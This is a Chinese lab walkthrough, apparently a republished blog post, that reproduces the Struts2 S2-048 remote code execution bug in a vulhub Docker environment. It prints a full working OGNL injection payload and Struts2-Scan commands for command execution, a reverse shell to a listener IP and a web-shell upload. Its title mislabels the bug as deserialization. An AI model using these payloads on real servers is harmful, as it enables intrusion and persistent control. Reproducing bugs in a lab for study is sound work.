(s2-048)Struts2 反序列化漏洞
Posted 浪人联想
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了(s2-048)Struts2 反序列化漏洞相关的知识,希望对你有一定的参考价值。
Struts2
Struts2是一个基于MVC设计模式(java)的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序。
漏洞复现
打开漏洞环境:
cd /home/ch1/Desktop/vulhub-master/struts2/s2-048
docker-compose up -d
docker ps
访问:http://192.168.8.9:8080/showcase/
查看struts2展示
找到漏洞点:
OGNL 表达式漏洞位置是Gangster Name
形式。
回车$233*233
查看执行结果:
成功执行:$233*233
输入poc:
%(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)
执行效果:
成功输出 id 命令,输入whoami
poc
%(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())).(#q)
执行结果:
成功复现。
Struts2-Scan
利用工具:https://github.com/HatBoy/Struts2-Scan
查看可以扫的漏洞信息:
┌──(root💀kali)-[/home/kali/Desktop/Struts2-Scan]
└─# python3 Struts2Scan.py --info
____ _ _ ____ ____
/ ___|| |_ _ __ _ _| |_ ___|___ \\ / ___| ___ __ _ _ __
\\___ \\| __| '__| | | | __/ __| __) | \\___ \\ / __/ _` | '_ \\
___) | |_| | | |_| | |_\\__ \\/ __/ ___) | (_| (_| | | | |
|____/ \\__|_| \\__,_|\\__|___/_____| |____/ \\___\\__,_|_| |_|
Author By HatBoy
[+] 支持如下Struts2漏洞:
[+] S2-001:影响版本Struts 2.0.0-2.0.8; POST请求发送数据; 默认参数为:username,password; 支持获取WEB路径,任意命令执行和反弹shell
[+] S2-003:影响版本Struts 2.0.0-2.0.11.2; GET请求发送数据; 支持任意命令执行
[+] S2-005:影响版本Struts 2.0.0-2.1.8.1; GET请求发送数据; 支持获取WEB路径,任意命令执行
[+] S2-007:影响版本Struts 2.0.0-2.2.3; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell
[+] S2-008:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持任意命令执行和反弹shell
[+] S2-009:影响版本Struts 2.0.0-2.3.1.1; GET请求发送数据,URL后面需要请求参数名; 默认为: key; 支持任意命令执行和反弹shell
[+] S2-012:影响版本Struts Showcase App 2.0.0-2.3.13; GET请求发送数据,参数直接添加到URL后面; 默认为:name; 支持任意命令执行和反弹shell
[+] S2-013/S2-014:影响版本Struts 2.0.0-2.3.14.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-015:影响版本Struts 2.0.0-2.3.14.2; GET请求发送数据; 支持任意命令执行和反弹shell
[+] S2-016:影响版本Struts 2.0.0-2.3.15; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-019:影响版本Struts 2.0.0-2.3.15.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-029:影响版本Struts 2.0.0-2.3.24.1(除了2.3.20.3); POST请求发送数据,需要参数; 默认参数:message; 支持任意命令执行和反弹shell
[+] S2-032:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell
[+] S2-033:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持任意命令执行和反弹shell
[+] S2-037:影响版本Struts 2.3.20-2.3.28.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell
[+] S2-045:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-046:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-048:影响版本Struts 2.3.x with Struts 1 plugin and Struts 1 action; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell
[+] S2-052:影响版本Struts 2.1.2-2.3.33,2.5-2.5.12; POST请求发送数据,不需要参数; 支持任意命令执行(无回显)和反弹shell,不支持检测该漏洞是否存在
[+] S2-053:影响版本Struts 2.0.1-2.3.33,2.5-2.5.10; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell
[+] S2-devMode:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell
[+] S2-057:影响版本Struts 2.0.4-2.3.34, Struts 2.5.0-2.5.16; GET请求发送数据; 支持任意命令执行和反弹shell
漏洞检测:
python3 Struts2Scan.py -u http://192.168.8.9:8080/index.action
批量检测:
python3 struts-scan.py -f url.txt
POST数据:
python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --exec
指定漏洞名称利用:
# 命令执行
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --exec
____ _ _ ____ ____
/ ___|| |_ _ __ _ _| |_ ___|___ \\ / ___| ___ __ _ _ __
\\___ \\| __| '__| | | | __/ __| __) | \\___ \\ / __/ _` | '_ \\
___) | |_| | | |_| | |_\\__ \\/ __/ ___) | (_| (_| | | | |
|____/ \\__|_| \\__,_|\\__|___/_____| |____/ \\___\\__,_|_| |_|
Author By HatBoy
>>>ls -la
total 136
drwxr-sr-x 1 root staff 4096 May 5 2017 .
drwxrwsr-x 1 root staff 4096 May 5 2017 ..
-rw-r----- 1 root root 57092 Apr 13 2017 LICENSE
-rw-r----- 1 root root 1723 Apr 13 2017 NOTICE
-rw-r----- 1 root root 7064 Apr 13 2017 RELEASE-NOTES
-rw-r----- 1 root root 15946 Apr 13 2017 RUNNING.txt
drwxr-x--- 1 root root 4096 May 5 2017 bin
drwx--S--- 1 root root 4096 Jul 12 14:54 conf
drwxr-sr-x 3 root staff 4096 May 5 2017 include
drwxr-x--- 2 root root 4096 May 5 2017 lib
drwxr-x--- 1 root root 4096 Jul 12 14:54 logs
drwxr-sr-x 3 root staff 4096 May 5 2017 native-jni-lib
drwxr-x--- 2 root root 4096 May 5 2017 temp
drwxr-x--- 1 root root 4096 Jul 12 14:54 webapps
drwxr-x--- 1 root root 4096 Jul 12 14:54 work
>>>
# 反弹shll
$ python3 Struts2Scan.py -u http://192.168.8.9:8080/index.action -n S2-016 --reverse 192.168.8.11:8888
____ _ _ ____ ____
/ ___|| |_ _ __ _ _| |_ ___|___ \\ / ___| ___ __ _ _ __
\\___ \\| __| '__| | | | __/ __| __) | \\___ \\ / __/ _` | '_ \\
___) | |_| | | |_| | |_\\__ \\/ __/ ___) | (_| (_| | | | |
|____/ \\__|_| \\__,_|\\__|___/_____| |____/ \\___\\__,_|_| |_|
Author By HatBoy
[*] 请在反弹地址处监听端口如: nc -lvvp 8080
# 获取WEB路径
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --webpath
____ _ _ ____ ____
/ ___|| |_ _ __ _ _| |_ ___|___ \\ / ___| ___ __ _ _ __
\\___ \\| __| '__| | | | __/ __| __) | \\___ \\ / __/ _` | '_ \\
___) | |_| | | |_| | |_\\__ \\/ __/ ___) | (_| (_| | | | |
|____/ \\__|_| \\__,_|\\__|___/_____| |____/ \\___\\__,_|_| |_|
Author By HatBoy
[*] /usr/local/tomcat/webapps/ROOT/
# 上传shell
$ python3 Struts2Scan.py -u http://192.168.8.9:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp
____ _ _ ____ ____
/ ___|| |_ _ __ _ _| |_ ___|___ \\ / ___| ___ __ _ _ __
\\___ \\| __| '__| | | | __/ __| __) | \\___ \\ / __/ _` | '_ \\
___) | |_| | | |_| | |_\\__ \\/ __/ ___) | (_| (_| | | | |
|____/ \\__|_| \\__,_|\\__|___/_____| |____/ \\___\\__,_|_| |_|
Author By HatBoy
[+] 文件上传成功!
其它Struts2漏洞:
全是RCE
S2-005
S2-007
S2-008
S2-009
S2-012
S2-013
S2-015
S2-016
S2-032
S2-045
S2-046
S2-048
S2-052
S2-053
Struts2 S2-057
Struts2 S2-059
Struts2 S2-061
仅供学习!
以上是关于(s2-048)Struts2 反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章
重磅 | Struts2 S2-048远程代码执行漏洞分析报告